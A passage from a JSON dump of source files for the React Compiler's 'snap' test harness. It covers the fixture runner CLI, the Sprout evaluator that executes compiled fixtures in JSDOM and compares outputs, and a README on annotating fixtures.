importedCompilerPlugin[\n      'ValueKind'\n    ] as typeof ValueKind;\n    const ValueReasonEnum = importedCompilerPlugin[\n      'ValueReason'\n    ] as typeof ValueReason;\n    const printFunctionWithOutlined = importedCompilerPlugin[\n      PRINT_HIR_IMPORT\n    ] as typeof PrintFunctionWithOutlined;\n    const printReactiveFunctionWithOutlined = importedCompilerPlugin[\n      PRINT_REACTIVE_IR_IMPORT\n    ] as typeof PrintReactiveFunctionWithOutlined;\n    const parseConfigPragmaForTests = importedCompilerPlugin[\n      PARSE_CONFIG_PRAGMA_IMPORT\n    ] as typeof ParseConfigPragma;\n\n    let lastLogged: string | null = null;\n    const debugIRLogger = shouldLog\n      ? (value: CompilerPipelineValue) => {\n          let printed: string;\n          switch (value.kind) {\n            case 'hir':\n              printed = printFunctionWithOutlined(value.value);\n              break;\n            case 'reactive':\n              printed = printReactiveFunctionWithOutlined(value.value);\n              break;\n            case 'debug':\n              printed = value.value;\n              break;\n            case 'ast':\n              // skip printing ast as we already write fixture output JS\n              printed = '(ast)';\n              break;\n          }\n\n          if (printed !== lastLogged) {\n            lastLogged = printed;\n            console.log(`${chalk.green(value.name)}:\\n ${printed}\\n`);\n          } else {\n            console.log(`${chalk.blue(value.name)}: (no change)\\n`);\n          }\n        }\n      : () => {};\n\n    // only try logging if we filtered out all but one fixture,\n    // since console log order is non-deterministic\n    const result = await transformFixtureInput(\n      input,\n      fixturePath,\n      parseConfigPragmaForTests,\n      BabelPluginReactCompiler,\n      includeEvaluator,\n      debugIRLogger,\n      EffectEnum,\n      ValueKindEnum,\n      ValueReasonEnum,\n    );\n\n    if (result.kind === 'err') {\n      error = result.msg;\n    } else {\n      compileResult = result.value;\n    }\n  } catch (e) {\n    if (shouldLog) {\n      console.error(e.stack);\n    }\n    error = e.message.replace(/\\u001b[^m]*m/g, '');\n  }\n\n  // Promote console errors so they can be recorded in fixture output\n  for (const consoleError of seenConsoleErrors) {\n    if (error != null) {\n      error = `${error}\\n\\n${consoleError}`;\n    } else {\n      error = `ConsoleError: ${consoleError}`;\n    }\n  }\n  console.error = originalConsoleError;\n\n  return {\n    error,\n    compileResult,\n  };\n}\n\nexport async function transformFixture(\n  fixture: TestFixture,\n  compilerVersion: number,\n  shouldLog: boolean,\n  includeEvaluator: boolean,\n): Promise<TestResult> {\n  const {input, snapshot: expected, snapshotPath: outputPath} = fixture;\n  const basename = getBasename(fixture);\n  const expectError = isExpectError(fixture);\n\n  // Input will be null if the input file did not exist, in which case the output file\n  // is stale\n  if (input === null) {\n    return {\n      outputPath,\n      actual: null,\n      expected,\n      unexpectedError: null,\n    };\n  }\n  const {compileResult, error} = await compile(\n    input,\n    fixture.fixturePath,\n    compilerVersion,\n    shouldLog,\n    includeEvaluator,\n  );\n\n  let unexpectedError: string | null = null;\n  if (expectError) {\n    if (error === null) {\n      unexpectedError = `Expected an error to be thrown for fixture: \\`${basename}\\`, remove the 'error.' prefix if an error is not expected.`;\n    }\n  } else {\n    if (error !== null) {\n      unexpectedError = `Expected fixture \\`${basename}\\` to succeed but it failed with error:\\n\\n${error}`;\n    } else if (compileResult == null) {\n      unexpectedError = `Expected output for fixture \\`${basename}\\`.`;\n    }\n  }\n\n  const snapOutput: string | null = compileResult?.forgetOutput ?? null;\n  let sproutOutput: string | null = null;\n  if (compileResult?.evaluatorCode != null) {\n    const sproutResult = runSprout(\n      compileResult.evaluatorCode.original,\n      compileResult.evaluatorCode.forget,\n    );\n    if (sproutResult.kind === 'invalid') {\n      unexpectedError ??= '';\n      unexpectedError += `\\n\\n${sproutResult.value}`;\n    } else {\n      sproutOutput = sproutResult.value;\n    }\n  } else if (!includeEvaluator && expected != null) {\n    sproutOutput = expected.split('\\n### Eval output\\n')[1];\n  }\n\n  const actualOutput = writeOutputToString(\n    input,\n    snapOutput,\n    sproutOutput,\n    compileResult?.logs ?? null,\n    error,\n  );\n\n  return {\n    outputPath,\n    actual: actualOutput,\n    expected,\n    unexpectedError,\n  };\n}\n"
  },
  {
    "path": "compiler/packages/snap/src/runner.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {Worker} from 'jest-worker';\nimport {cpus} from 'os';\nimport process from 'process';\nimport * as readline from 'readline';\nimport ts from 'typescript';\nimport yargs from 'yargs';\nimport {hideBin} from 'yargs/helpers';\nimport {BABEL_PLUGIN_ROOT, PROJECT_ROOT} from './constants';\nimport {TestFilter, getFixtures} from './fixture-utils';\nimport {TestResult, TestResults, report, update} from './reporter';\nimport {\n  RunnerAction,\n  RunnerState,\n  makeWatchRunner,\n  watchSrc,\n} from './runner-watch';\nimport * as runnerWorker from './runner-worker';\nimport {execSync} from 'child_process';\nimport fs from 'fs';\nimport path from 'path';\nimport {minimize} from './minimize';\nimport {parseInput, parseLanguage, parseSourceType} from './compiler';\nimport {\n  PARSE_CONFIG_PRAGMA_IMPORT,\n  PRINT_HIR_IMPORT,\n  PRINT_REACTIVE_IR_IMPORT,\n  BABEL_PLUGIN_SRC,\n} from './constants';\nimport chalk from 'chalk';\n\nconst WORKER_PATH = require.resolve('./runner-worker.js');\nconst NUM_WORKERS = cpus().length - 1;\n\nreadline.emitKeypressEvents(process.stdin);\n\ntype TestOptions = {\n  sync: boolean;\n  workerThreads: boolean;\n  watch: boolean;\n  update: boolean;\n  pattern?: string;\n  debug: boolean;\n  verbose: boolean;\n};\n\ntype MinimizeOptions = {\n  path: string;\n  update: boolean;\n};\n\ntype CompileOptions = {\n  path: string;\n  debug: boolean;\n};\n\nasync function runTestCommand(opts: TestOptions): Promise<void> {\n  const worker: Worker & typeof runnerWorker = new Worker(WORKER_PATH, {\n    enableWorkerThreads: opts.workerThreads,\n    numWorkers: NUM_WORKERS,\n  }) as any;\n  worker.getStderr().pipe(process.stderr);\n  worker.getStdout().pipe(process.stdout);\n\n  // Check if watch mode should be enabled\n  const shouldWatch = opts.watch;\n\n  if (shouldWatch) {\n    makeWatchRunner(\n      state => onChange(worker, state, opts.sync, opts.verbose),\n      opts.debug,\n      opts.pattern,\n    );\n    if (opts.pattern) {\n      /**\n       * Warm up wormers when in watch mode. Loading the Forget babel plugin\n       * and all of its transitive dependencies takes 1-3s (per worker) on a M1.\n       * As jest-worker dispatches tasks using a round-robin strategy, we can\n       * avoid an additional 1-3s wait on the first num_workers runs by warming\n       * up workers eagerly.\n       */\n      for (let i = 0; i < NUM_WORKERS - 1; i++) {\n        worker.transformFixture(\n          {\n            fixturePath: 'tmp',\n            snapshotPath: './tmp.expect.md',\n            inputPath: './tmp.js',\n            input: `\n            function Foo(props) {\n              return identity(props);\n            }\n            `,\n            snapshot: null,\n          },\n          0,\n          false,\n          false,\n        );\n      }\n    }\n  } else {\n    // Non-watch mode. For simplicity we re-use the same watchSrc() function.\n    // After the first build completes run tests and exit\n    const tsWatch: ts.WatchOfConfigFile<ts.SemanticDiagnosticsBuilderProgram> =\n      watchSrc(\n        () => {},\n        async (isTypecheckSuccess: boolean) => {\n          let isSuccess = false;\n          if (!isTypecheckSuccess) {\n            console.error(\n              'Found typescript errors in Forget source code, skipping test fixtures.',\n            );\n          } else {\n            try {\n              execSync('yarn build', {cwd: BABEL_PLUGIN_ROOT});\n              console.log('Built compiler successfully with tsup');\n\n              // Determine which filter to use\n              let testFilter: TestFilter | null = null;\n              if (opts.pattern) {\n                testFilter = {\n                  paths: [opts.pattern],\n                };\n              }\n\n              const results = await runFixtures(\n                worker,\n                testFilter,\n                0,\n                opts.debug,\n                false, // no requireSingleFixture in non-watch mode\n                opts.sync,\n              );\n              if (opts.update) {\n                update(results);\n                isSuccess = true;\n              } else {\n                isSuccess = report(results, opts.verbose);\n              }\n            } catch (e) {\n              console.warn('Failed to build compiler with tsup:', e);\n            }\n          }\n          tsWatch?.close();\n          await worker.end();\n          process.exit(isSuccess ? 0 : 1);\n        },\n      );\n  }\n}\n\nasync function runMinimizeCommand(opts: MinimizeOptions): Promise<void> {\n  // Resolve the input path\n  const inputPath = path.isAbsolute(opts.path)\n    ? opts.path\n    : path.resolve(PROJECT_ROOT, opts.path);\n\n  // Check if file exists\n  if (!fs.existsSync(inputPath)) {\n    console.error(`Error: File not found: ${inputPath}`);\n    process.exit(1);\n  }\n\n  // Read the input file\n  const input = fs.readFileSync(inputPath, 'utf-8');\n  const filename = path.basename(inputPath);\n  const firstLine = input.substring(0, input.indexOf('\\n'));\n  const language = parseLanguage(firstLine);\n  const sourceType = parseSourceType(firstLine);\n\n  console.log(`Minimizing: ${inputPath}`);\n\n  const originalLines = input.split('\\n').length;\n\n  // Run the minimization\n  const result = minimize(input, filename, language, sourceType);\n\n  if (result.kind === 'success') {\n    console.log('Could not minimize: the input compiles successfully.');\n    process.exit(0);\n  }\n\n  if (result.kind === 'minimal') {\n    console.log(\n      'Could not minimize: the input fails but is already minimal and cannot be reduced further.',\n    );\n    process.exit(0);\n  }\n\n  // Output the minimized code\n  console.log('--- Minimized Code ---');\n  console.log(result.source);\n\n  const minimizedLines = result.source.split('\\n').length;\n  console.log(\n    `\\nReduced from ${originalLines} lines to ${minimizedLines} lines`,\n  );\n\n  if (opts.update) {\n    fs.writeFileSync(inputPath, result.source, 'utf-8');\n    console.log(`\\nUpdated ${inputPath} with minimized code.`);\n  }\n}\n\nasync function runCompileCommand(opts: CompileOptions): Promise<void> {\n  // Resolve the input path\n  const inputPath = path.isAbsolute(opts.path)\n    ? opts.path\n    : path.resolve(PROJECT_ROOT, opts.path);\n\n  // Check if file exists\n  if (!fs.existsSync(inputPath)) {\n    console.error(`Error: File not found: ${inputPath}`);\n    process.exit(1);\n  }\n\n  // Read the input file\n  const input = fs.readFileSync(inputPath, 'utf-8');\n  const filename = path.basename(inputPath);\n  const firstLine = input.substring(0, input.indexOf('\\n'));\n  const language = parseLanguage(firstLine);\n  const sourceType = parseSourceType(firstLine);\n\n  // Import the compiler\n  const importedCompilerPlugin = require(BABEL_PLUGIN_SRC) as Record<\n    string,\n    any\n  >;\n  const BabelPluginReactCompiler = importedCompilerPlugin['default'];\n  const parseConfigPragmaForTests =\n    importedCompilerPlugin[PARSE_CONFIG_PRAGMA_IMPORT];\n  const printFunctionWithOutlined = importedCompilerPlugin[PRINT_HIR_IMPORT];\n  const printReactiveFunctionWithOutlined =\n    importedCompilerPlugin[PRINT_REACTIVE_IR_IMPORT];\n  const EffectEnum = importedCompilerPlugin['Effect'];\n  const ValueKindEnum = importedCompilerPlugin['ValueKind'];\n  const ValueReasonEnum = importedCompilerPlugin['ValueReason'];\n\n  // Setup debug logger\n  let lastLogged: string | null = null;\n  const debugIRLogger = opts.debug\n    ? (value: any) => {\n        let printed: string;\n        switch (value.kind) {\n          case 'hir':\n            printed = printFunctionWithOutlined(value.value);\n            break;\n          case 'reactive':\n            printed = printReactiveFunctionWithOutlined(value.value);\n            break;\n          case 'debug':\n            printed = value.value;\n            break;\n          case 'ast':\n            printed = '(ast)';\n            break;\n          default:\n            printed = String(value);\n        }\n\n        if (printed !== lastLogged) {\n          lastLogged = printed;\n          console.log(`${chalk.green(value.name)}:\\n${printed}\\n`);\n        } else {\n          console.log(`${chalk.blue(value.name)}: (no change)\\n`);\n        }\n      }\n    : () => {};\n\n  // Parse the input\n  let ast;\n  try {\n    ast = parseInput(input, filename, language, sourceType);\n  } catch (e: any) {\n    console.error(`Parse error: ${e.message}`);\n    process.exit(1);\n  }\n\n  // Build plugin options\n  const config = parseConfigPragmaForTests(firstLine, {compilationMode: 'all'});\n  const options = {\n    ...config,\n    environment: {\n      ...config.environment,\n    },\n    logger: {\n      logEvent: () => {},\n      debugLogIRs: debugIRLogger,\n    },\n    enableReanimatedCheck: false,\n  };\n\n  // Compile\n  const {transformFromAstSync} = require('@babel/core');\n  try {\n    const result = transformFromAstSync(ast, input, {\n      filename: '/' + filename,\n      highlightCode: false,\n      retainLines: true,\n      compact: true,\n      plugins: [[BabelPluginReactCompiler, options]],\n      sourceType: 'module',\n      ast: false,\n      cloneInputAst: true,\n      configFile: false,\n      babelrc: false,\n    });\n\n    if (result?.code != null) {\n      // Format the output\n      const prettier = require('prettier');\n      const formatted = await prettier.format(result.code, {\n        semi: true,\n        parser: language === 'typescript' ? 'babel-ts' : 'flow',\n      });\n      console.log(formatted);\n    } else {\n      console.error('Error: No code emitted from compiler');\n      process.exit(1);\n    }\n  } catch (e: any) {\n    console.error(e.message);\n    process.exit(1);\n  }\n}\n\nyargs(hideBin(process.argv))\n  .command(\n    ['test', '$0'],\n    'Run compiler tests',\n    yargs => {\n      return yargs\n        .boolean('sync')\n        .describe(\n          'sync',\n          'Run compiler in main thread (instead of using worker threads or subprocesses). Defaults to false.',\n        )\n        .default('sync', false)\n        .boolean('worker-threads')\n        .describe(\n          'worker-threads',\n          'Run compiler in worker threads (instead of subprocesses). Defaults to true.',\n        )\n        .default('worker-threads', true)\n        .boolean('watch')\n        .describe(\n          'watch',\n          'Run compiler in watch mode, re-running after changes',\n        )\n        .alias('w', 'watch')\n        .default('watch', false)\n        .boolean('update')\n        .alias('u', 'update')\n        .describe('update', 'Update fixtures')\n        .default('update', false)\n        .string('pattern')\n        .alias('p', 'pattern')\n        .describe(\n          'pattern',\n          'Optional glob pattern to filter fixtures (e.g., \"error.*\", \"use-memo\")',\n        )\n        .boolean('debug')\n        .alias('d', 'debug')\n        .describe('debug', 'Enable debug logging to print HIR for each pass')\n        .default('debug', false)\n        .boolean('verbose')\n        .alias('v', 'verbose')\n        .describe('verbose', 'Print individual test results')\n        .default('verbose', false);\n    },\n    async argv => {\n      await runTestCommand(argv as TestOptions);\n    },\n  )\n  .command(\n    'minimize <path>',\n    'Minimize a test case to reproduce a compiler error',\n    yargs => {\n      return yargs\n        .positional('path', {\n          describe: 'Path to the file to minimize',\n          type: 'string',\n          demandOption: true,\n        })\n        .boolean('update')\n        .alias('u', 'update')\n        .describe(\n          'update',\n          'Update the input file in-place with the minimized version',\n        )\n        .default('update', false);\n    },\n    async argv => {\n      await runMinimizeCommand(argv as unknown as MinimizeOptions);\n    },\n  )\n  .command(\n    'compile <path>',\n    'Compile a file with the React Compiler',\n    yargs => {\n      return yargs\n        .positional('path', {\n          describe: 'Path to the file to compile',\n          type: 'string',\n          demandOption: true,\n        })\n        .boolean('debug')\n        .alias('d', 'debug')\n        .describe('debug', 'Enable debug logging to print HIR for each pass')\n        .default('debug', false);\n    },\n    async argv => {\n      await runCompileCommand(argv as unknown as CompileOptions);\n    },\n  )\n  .help('help')\n  .strict()\n  .demandCommand()\n  .parse();\n\n/**\n * Do a test run and return the test results\n */\nasync function runFixtures(\n  worker: Worker & typeof runnerWorker,\n  filter: TestFilter | null,\n  compilerVersion: number,\n  debug: boolean,\n  requireSingleFixture: boolean,\n  sync: boolean,\n): Promise<TestResults> {\n  // We could in theory be fancy about tracking the contents of the fixtures\n  // directory via our file subscription, but it's simpler to just re-read\n  // the directory each time.\n  const fixtures = await getFixtures(filter);\n  const isOnlyFixture = filter !== null && fixtures.size === 1;\n  const shouldLog = debug && (!requireSingleFixture || isOnlyFixture);\n\n  let entries: Array<[string, TestResult]>;\n  if (!sync) {\n    // Note: promise.all to ensure parallelism when enabled\n    const work: Array<Promise<[string, TestResult]>> = [];\n    for (const [fixtureName, fixture] of fixtures) {\n      work.push(\n        worker\n          .transformFixture(fixture, compilerVersion, shouldLog, true)\n          .then(result => [fixtureName, result]),\n      );\n    }\n\n    entries = await Promise.all(work);\n  } else {\n    entries = [];\n    for (const [fixtureName, fixture] of fixtures) {\n      let output = await runnerWorker.transformFixture(\n        fixture,\n        compilerVersion,\n        shouldLog,\n        true,\n      );\n      entries.push([fixtureName, output]);\n    }\n  }\n\n  return new Map(entries);\n}\n\n// Callback to re-run tests after some change\nasync function onChange(\n  worker: Worker & typeof runnerWorker,\n  state: RunnerState,\n  sync: boolean,\n  verbose: boolean,\n) {\n  const {compilerVersion, isCompilerBuildValid, mode, filter, debug} = state;\n  if (isCompilerBuildValid) {\n    const start = performance.now();\n\n    // console.clear() only works when stdout is connected to a TTY device.\n    // we're currently piping stdout (see main.ts), so let's do a 'hack'\n    console.log('\\u001Bc');\n\n    // we don't clear console after this point, since\n    // it may contain debug console logging\n    const results = await runFixtures(\n      worker,\n      mode.filter ? filter : null,\n      compilerVersion,\n      debug,\n      true, // requireSingleFixture in watch mode\n      sync,\n    );\n    const end = performance.now();\n\n    // Track fixture status for autocomplete suggestions\n    for (const [basename, result] of results) {\n      const failed =\n        result.actual !== result.expected || result.unexpectedError != null;\n      state.fixtureLastRunStatus.set(basename, failed ? 'fail' : 'pass');\n    }\n\n    if (mode.action === RunnerAction.Update) {\n      update(results);\n      state.lastUpdate = end;\n    } else {\n      report(results, verbose);\n    }\n    console.log(`Completed in ${Math.floor(end - start)} ms`);\n  } else {\n    console.error(\n      `${mode}: Found errors in Forget source code, skipping test fixtures.`,\n    );\n  }\n  console.log(\n    '\\n' +\n      (mode.filter\n        ? `Current mode = FILTER, pattern = \"${filter?.paths[0] ?? ''}\".`\n        : 'Current mode = NORMAL, run all test fixtures.') +\n      '\\nWaiting for input or file changes...\\n' +\n      'u     - update all fixtures\\n' +\n      `d     - toggle (turn ${debug ? 'off' : 'on'}) debug logging\\n` +\n      'p     - enter pattern to filter fixtures\\n' +\n      (mode.filter ? 'a     - run all tests (exit filter mode)\\n' : '') +\n      'q     - quit\\n' +\n      '[any] - rerun tests\\n',\n  );\n}\n"
  },
  {
    "path": "compiler/packages/snap/src/sprout/README.md",
    "content": "## Sprout 🌱\nReact Forget test framework that executes compiler fixtures.\n\nCurrently, Sprout runs each fixture with a known set of inputs and annotations. Sprout compares execution outputs (i.e. return values and console logs) of original source code and the corresponding Forget-transformed version.\nWe hope to add fuzzing capabilities to Sprout, synthesizing sets of program inputs based on type and/or effect annotations.\n\nSprout is now enabled for all fixtures! If Sprout cannot execute your fixture due to some technical limitations, add your fixture to [`SproutTodoFilter.ts`](./src/SproutTodoFilter.ts) with a comment explaining why.\n\n### Sprout CLI\nSprout is now run as a part of snap, except when in filter mode.\n\n### Adding fixtures to Sprout\n\n#### 1. Annotate fixtures.\nEach fixture test executed by Sprout needs to export const `FIXTURE_ENTRYPOINT` object with the following type signature.\n\n```js\ntype FixtureEntrypoint<T> = {\n  // function to be invoked\n  fn: ((...params: Array<T>) => any),\n  // params to pass to fn\n  // (if `fn` is a react component, this should be an array\n  // with exactly one element -- props)\n  params: Array<T>,\n}\n```\n\nExample:\n```js\n// test.js\nfunction MyComponent(props) {\n  return <div>{props.a + props.b}</div>;\n}\nexport const FIXTURE_ENTRYPOINT = {\n  fn: MyComponent,\n  params: [{a: \"hello \", b: \"world\"}],\n};\n```\n\n#### 2. Import / define helper functions.\n\n- Prefer importing helper functions for readability and simplicity.\n- Fixtures that require helper functions with specific types or mutability can define their own within the same fixture file.\n\n```js\n// test.js\nimport { addOne } from 'shared-runtime';\n\nfunction customHelper(val1, val2) {\n  // This directive is important, as helper functions don't\n  // always follow the rules of React.\n  \"use no forget\";\n  // ...\n}\n\n// ...\n```\n\n#### Notes\n- If your fixture needs to import from an external module, we currently only support importing from `react` (see Milestones todo list).\n\n- Any fixture can use React hooks, but they need to be first imported. We may later enforce that only `isComponent: true` fixtures can use React hooks.\n    ```ts\n    import {useState} from 'react';\n    ```\n\n- If your fixture wants to export multiple functions to Sprout to run, please split up the fixture into multiple files (e.g. `test-case-1`, `test-case-2`, etc).\n\n- Sprout currently runs each fixture in an iife to prevent variable collisions, but it does not run fixtures in isolation. Please do not mutate any external state in fixtures.\n\n- Sprout does not run fixtures listed in [`SproutTodoFilter.ts`](./src/SproutTodoFilter.ts), even in filter mode.\n\n### Milestones:\n- [✅] Render fixtures with React runtime / `testing-library/react`.\n- [✅] Make Sprout CLI -runnable and report results in process exit code.\n- [✅] Enable Sprout by default and run it in the Github Actions pipeline.\n- [🚧] Make all existing test fixtures Sprout compatible (see `SproutTodoFilter.ts`). This involves each fixture being annotated with `FIXTURE_ENTRYPOINT` and using shared functions and/or defining its own helpers.\n  - 77 done, ~410 to go\n- [✅] *(optional)* Store Sprout output as snapshot files. i.e. each fixture could have a `fixture.js`, `fixture.snap.md`, and `fixture.sprout.md`.\n- [✅] Add support for `fbt`.\n"
  },
  {
    "path": "compiler/packages/snap/src/sprout/ReactForgetFeatureFlag.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nexport function isForgetEnabled_Fixtures(): boolean {\n  return true;\n}\n"
  },
  {
    "path": "compiler/packages/snap/src/sprout/evaluator.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {render} from '@testing-library/react';\nimport {JSDOM} from 'jsdom';\nimport React, {MutableRefObject} from 'react';\nimport util from 'util';\nimport {z} from 'zod/v4';\nimport {fromZodError} from 'zod-validation-error/v4';\nimport {initFbt, toJSON} from './shared-runtime';\n\n/**\n * Set up the global environment for JSDOM tests.\n * This is a hack to let us share code and setup between the test\n * and runner environments. As an alternative, we could evaluate all setup\n * in the jsdom test environment (which provides more isolation), but that\n * may be slower.\n */\nconst {window: testWindow} = new JSDOM(undefined);\n(globalThis as any).document = testWindow.document;\n(globalThis as any).window = testWindow.window;\n(globalThis as any).React = React;\n(globalThis as any).render = render;\ninitFbt();\n\n(globalThis as any).placeholderFn = function (..._args: Array<any>) {\n  throw new Error('Fixture not implemented!');\n};\nexport type EvaluatorResult = {\n  kind: 'ok' | 'exception' | 'UnexpectedError';\n  value: string;\n  logs: Array<string>;\n};\n\n/**\n * Define types and schemas for fixture entrypoint\n */\nconst EntrypointSchema = z.strictObject({\n  fn: z.union([z.function(), z.object({})]),\n  params: z.array(z.any()),\n\n  // DEPRECATED, unused\n  isComponent: z.optional(z.boolean()),\n\n  // if enabled, the `fn` is assumed to be a component and this is assumed\n  // to be an array of props. the component is mounted once and rendered\n  // once per set of props in this array.\n  sequentialRenders: z.optional(z.nullable(z.array(z.any()))).default(null),\n});\nconst ExportSchema = z.object({\n  FIXTURE_ENTRYPOINT: EntrypointSchema,\n});\n\nconst NO_ERROR_SENTINEL = Symbol();\n/**\n * Wraps WrapperTestComponent in an error boundary to simplify re-rendering\n * when an exception is thrown.\n * A simpler alternative may be to re-mount test components manually.\n */\nclass WrapperTestComponentWithErrorBoundary extends React.Component<\n  {fn: any; params: Array<any>},\n  {errorFromLastRender: any}\n> {\n  /**\n   * Limit retries of the child component by caching seen errors.\n   */\n  propsErrorMap: Map<any, any>;\n  lastProps: any | null;\n  // lastProps: object | null;\n  constructor(props: any) {\n    super(props);\n    this.lastProps = null;\n    this.propsErrorMap = new Map<any, any>();\n    this.state = {\n      errorFromLastRender: NO_ERROR_SENTINEL,\n    };\n  }\n  static getDerivedStateFromError(error: any) {\n    // Reschedule a second render that immediately returns the cached error\n    return {errorFromLastRender: error};\n  }\n  override componentDidUpdate() {\n    if (this.state.errorFromLastRender !== NO_ERROR_SENTINEL) {\n      // Reschedule a third render that immediately returns the cached error\n      this.setState({errorFromLastRender: NO_ERROR_SENTINEL});\n    }\n  }\n  override render() {\n    if (\n      this.state.errorFromLastRender !== NO_ERROR_SENTINEL &&\n      this.props === this.lastProps\n    ) {\n      /**\n       * The last render errored, cache the error message to avoid running the\n       * test fixture more than once\n       */\n      const errorMsg = `[[ (exception in render) ${this.state.errorFromLastRender?.toString()} ]]`;\n      this.propsErrorMap.set(this.lastProps, errorMsg);\n      return errorMsg;\n    }\n    this.lastProps = this.props;\n    const cachedError = this.propsErrorMap.get(this.props);\n    if (cachedError != null) {\n      return cachedError;\n    }\n    return React.createElement(WrapperTestComponent, this.props);\n  }\n}\n\nfunction WrapperTestComponent(props: {fn: any; params: Array<any>}) {\n  const result = props.fn(...props.params);\n  // Hacky solution to determine whether the fixture returned jsx (which\n  // needs to passed through to React's runtime as-is) or a non-jsx value\n  // (which should be converted to a string).\n  if (typeof result === 'object' && result != null && '$$typeof' in result) {\n    return result;\n  } else {\n    return toJSON(result);\n  }\n}\n\nfunction renderComponentSequentiallyForEachProps(\n  fn: any,\n  sequentialRenders: Array<any>,\n): string {\n  if (sequentialRenders.length === 0) {\n    throw new Error(\n      'Expected at least one set of props when using `sequentialRenders`',\n    );\n  }\n  const initialProps = sequentialRenders[0]!;\n  const results = [];\n  const {rerender, container} = render(\n    React.createElement(WrapperTestComponentWithErrorBoundary, {\n      fn,\n      params: [initialProps],\n    }),\n  );\n  results.push(container.innerHTML);\n\n  for (let i = 1; i < sequentialRenders.length; i++) {\n    rerender(\n      React.createElement(WrapperTestComponentWithErrorBoundary, {\n        fn,\n        params: [sequentialRenders[i]],\n      }),\n    );\n    results.push(container.innerHTML);\n  }\n  return results.join('\\n');\n}\n\ntype FixtureEvaluatorResult = Omit<EvaluatorResult, 'logs'>;\n(globalThis as any).evaluateFixtureExport = function (\n  exports: unknown,\n): FixtureEvaluatorResult {\n  const parsedExportResult = ExportSchema.safeParse(exports);\n  if (!parsedExportResult.success) {\n    const exportDetail =\n      typeof exports === 'object' && exports != null\n        ? `object ${util.inspect(exports)}`\n        : `${exports}`;\n    return {\n      kind: 'UnexpectedError',\n      value: `${fromZodError(parsedExportResult.error)}\\nFound ` + exportDetail,\n    };\n  }\n  const entrypoint = parsedExportResult.data.FIXTURE_ENTRYPOINT;\n  if (entrypoint.sequentialRenders !== null) {\n    const result = renderComponentSequentiallyForEachProps(\n      entrypoint.fn,\n      entrypoint.sequentialRenders,\n    );\n\n    return {\n      kind: 'ok',\n      value: result ?? 'null',\n    };\n  } else if (typeof entrypoint.fn === 'object') {\n    // Try to run fixture as a react component. This is necessary because not\n    // all components are functions (some are ForwardRef or Memo objects).\n    const result = render(\n      React.createElement(entrypoint.fn as any, entrypoint.params[0]),\n    ).container.innerHTML;\n\n    return {\n      kind: 'ok',\n      value: result ?? 'null',\n    };\n  } else {\n    const result = render(React.createElement(WrapperTestComponent, entrypoint))\n      .container.innerHTML;\n\n    return {\n      kind: 'ok',\n      value: result ?? 'null',\n    };\n  }\n};\n\nexport function doEval(source: string): EvaluatorResult {\n  'use strict';\n\n  const originalConsole = globalThis.console;\n  const logs: Array<string> = [];\n  const mockedLog = (...args: Array<any>) => {\n    logs.push(\n      `${args.map(arg => {\n        if (arg instanceof Error) {\n          return arg.toString();\n        } else {\n          return util.inspect(arg);\n        }\n      })}`,\n    );\n  };\n\n  (globalThis.console as any) = {\n    info: mockedLog,\n    log: mockedLog,\n    warn: mockedLog,\n    error: (...args: Array<any>) => {\n      if (\n        typeof args[0] === 'string' &&\n        args[0].includes('ReactDOMTestUtils.act` is deprecated')\n      ) {\n        // remove this once @testing-library/react is upgraded to React 19.\n        return;\n      }\n\n      const stack = new Error().stack?.split('\\n', 5) ?? [];\n      for (const stackFrame of stack) {\n        // React warns on exceptions thrown during render, we avoid printing\n        // here to reduce noise in test fixture outputs.\n        if (\n          (stackFrame.includes('at logCaughtError') &&\n            stackFrame.includes('react-dom-client.development.js')) ||\n          (stackFrame.includes('at defaultOnRecoverableError') &&\n            stackFrame.includes('react-dom-client.development.js'))\n        ) {\n          return;\n        }\n      }\n      mockedLog(...args);\n    },\n    table: mockedLog,\n    trace: () => {},\n  };\n  try {\n    // source needs to be evaluated in the same scope as invoke\n    const evalResult: any = eval(`\n    (() => {\n      // Exports should be overwritten by source\n      let exports = {\n        FIXTURE_ENTRYPOINT: {\n          fn: globalThis.placeholderFn,\n          params: [],\n        },\n      };\n      let reachedInvoke = false;\n      try {\n        // run in an iife to avoid naming collisions\n        (() => {${source}})();\n        reachedInvoke = true;\n        if (exports.FIXTURE_ENTRYPOINT?.fn === globalThis.placeholderFn) {\n          return {\n            kind: \"exception\",\n            value: \"Fixture not implemented\",\n          };\n        }\n        return evaluateFixtureExport(exports);\n      } catch (e) {\n        if (!reachedInvoke) {\n          return {\n            kind: \"UnexpectedError\",\n            value: e.message,\n          };\n        } else {\n          return {\n            kind: \"exception\",\n            value: e.message,\n          };\n        }\n      }\n    })()`);\n\n    const result = {\n      ...evalResult,\n      logs,\n    };\n    return result;\n  } catch (e) {\n    // syntax errors will cause the eval to throw and bubble up here\n    return {\n      kind: 'UnexpectedError',\n      value:\n        'Unexpected error during eval, possible syntax error?\\n' +\n        e.message +\n        '\\n\\nsource:\\n' +\n        source,\n      logs,\n    };\n  } finally {\n    globalThis.console = originalConsole;\n  }\n}\n"
  },
  {
    "path": "compiler/packages/snap/src/sprout/index.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {EvaluatorResult, doEval} from './evaluator';\n\nexport type SproutResult =\n  | {kind: 'success'; value: string}\n  | {kind: 'invalid'; value: string};\n\nfunction stringify(result: EvaluatorResult): string {\n  return `(kind: ${result.kind}) ${result.value}${\n    result.logs.length > 0 ? `\\nlogs: [${result.logs.toString()}]` : ''\n  }`;\n}\nfunction makeError(description: string, value: string): SproutResult {\n  return {\n    kind: 'invalid',\n    value: description + '\\n' + value,\n  };\n}\nfunction logsEqual(a: Array<string>, b: Array<string>) {\n  if (a.length !== b.length) {\n    return false;\n  }\n  return a.every((val, idx) => val === b[idx]);\n}\nexport function runSprout(\n  originalCode: string,\n  forgetCode: string,\n): SproutResult {\n  let forgetResult;\n  try {\n    (globalThis as any).__SNAP_EVALUATOR_MODE = 'forget';\n    forgetResult = doEval(forgetCode);\n  } catch (e) {\n    throw e;\n  } finally {\n    (globalThis as any).__SNAP_EVALUATOR_MODE = undefined;\n  